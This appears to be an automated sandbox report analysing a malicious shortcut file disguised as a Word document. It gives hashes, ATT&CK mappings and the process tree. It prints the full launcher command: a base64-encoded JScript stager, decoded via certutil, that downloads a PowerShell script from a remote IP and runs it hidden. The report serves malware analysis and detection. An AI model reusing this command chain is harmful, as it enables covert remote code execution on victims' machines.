9bd16130d297f639bab147186ce090becb05a1f0e85ee87a8aba3b557e170558

Analysis

max time kernel
150s
max time network
121s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260629-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
02/07/2026, 08:45

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
NAKAZ_MO_perevirka_mayna.docx.lnk
Size 6KB
Sample260702-knv41sey41
SHA256 9bd16130d297f639bab147186ce090becb05a1f0e85ee87a8aba3b557e170558
MD5 eff092d8f562af8a62d33ad9c8be5c94
SHA1 77943f64c4ca228ec7495eaea387db5c660ddd5c
SHA512 3ea0564ca031b34e1c50ec41173ace3da270e62fcd165b4e8c78e3e5b6a3f9a5fac4a2fab2b62548b88261fd9475f2d39305e1eff989cd63554423db058cf3f9
SSDEEP 24:8d/qP8iRyaWInZjnaISp+UOi+Eu+njVHqWCMP:8lqcanNnty7KEu+njtzC
TLSH
T129D1A03435E8111DE4F3FE31ADE467C6DDABB5A7A8B1125D458116460A01E80FE25B3B
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion execution

Malware Config

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
1	1772	wscript.exe

Deobfuscate/Decode Files or Information 1 TTPs 2 IoCs

Payload decoded via CertUtil.

defense_evasion

Deobfuscate/Decode Files or Information

T1140

pid	Process
592	certutil.exe
1784	cmd.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 3984 wrote to memory of 1784	3984	cmd.exe	89
PID 1784 wrote to memory of 592	1784	cmd.exe	90
PID 1784 wrote to memory of 1772	1784	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\NAKAZ_MO_perevirka_mayna.docx.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:3984
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c "cd /d C:\Users\Admin\AppData\Local\Temp && echo dmFyIGg9bmV3IEFjdGl2ZVhPYmplY3QoIk1TWE1MMi5TZXJ2ZXJYTUxIVFRQLjYuMCIpO2gub3BlbigiR0VUIiwiaHR0cDovLzE5My4xNjkuMTk0Ljg2L2NyNDRnL2ZpZnRoYmVsb25nLnBzMSIsZmFsc2UpO2guc2V0UmVxdWVzdEhlYWRlcigiVXNlci1BZ2VudCIsIlVBIFdpbmRvd3NQb3dlclNoZWxsIik7aC5zZW5kKCk7bmV3IEFjdGl2ZVhPYmplY3QoIlNoZWxsLkFwcGxpY2F0aW9uIikuU2hlbGxFeGVjdXRlKCJwb3dlcnNoZWxsLmV4ZSIsIi1Ob1AgLVcgSGlkZGVuIC1DICIraC5yZXNwb25zZVRleHQsIiIsIm9wZW4iLDApOw== > yO.b64 && certutil -decode yO.b64 5G9X2.js >nul && wscript //b 5G9X2.js && del yO.b64 5G9X2.js"
  2⤵
  - Deobfuscate/Decode Files or Information
  - Suspicious use of WriteProcessMemory
  PID:1784
- - C:\Windows\system32\certutil.exe
    certutil -decode yO.b64 5G9X2.js
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:592
- - C:\Windows\system32\wscript.exe
    wscript //b 5G9X2.js
    3⤵
    - Badlisted process makes network request
    PID:1772

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Deobfuscate/Decode Files or Information

T1140

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

5G9X2.js

Path C:\Users\Admin\AppData\Local\Temp\5G9X2.js
Size 301B
SHA256 cfe0ff9b5bc1c1c4f07324005eea1fbbeafb29d239b162226decffaa7448675f
MD5 74b99170587ecea18d2df241490a5273
SHA1 b0371a4255c3ffeb015f86dd7d419738ed0fe788
SHA512 7eef58c2def38cac90791961c9e9de2899ebde03e620a9ffb34caabce427a454e2989e9228c6fba5a4b5887d75fd6059ecd70222883a09f908ffc7c38bd762ae
TLSH
T186E07D94507490DD60C7DFDD6024D75442E74460B002B8ABB344C9993411224515D28F
MD5 SHA1 SHA512 TLSH

Submit Download

yO.b64

Path C:\Users\Admin\AppData\Local\Temp\yO.b64
Size 408B
SHA256 70252f93701f506d17306868ffc243519139d5cd840d68d957ae7a96bd47cc2a
MD5 f1a71a9cbdaf1d1fee6b158e62adfe96
SHA1 e0bf1a870ca25150dffcfb456781efd8bbbdc778
SHA512 381f49480835ec0dd5eb60ccb529d0ff9894ee323e899c0182a60f5570d72c52add86a4d844ca8fb763d86bfdecf4e8342274f9cedec568cc5e285c8900fd07a
TLSH
T192E0A3598947324305703045A560095EF598DB50351155A8D71A7C561EF93AF44F438C
MD5 SHA1 SHA512 TLSH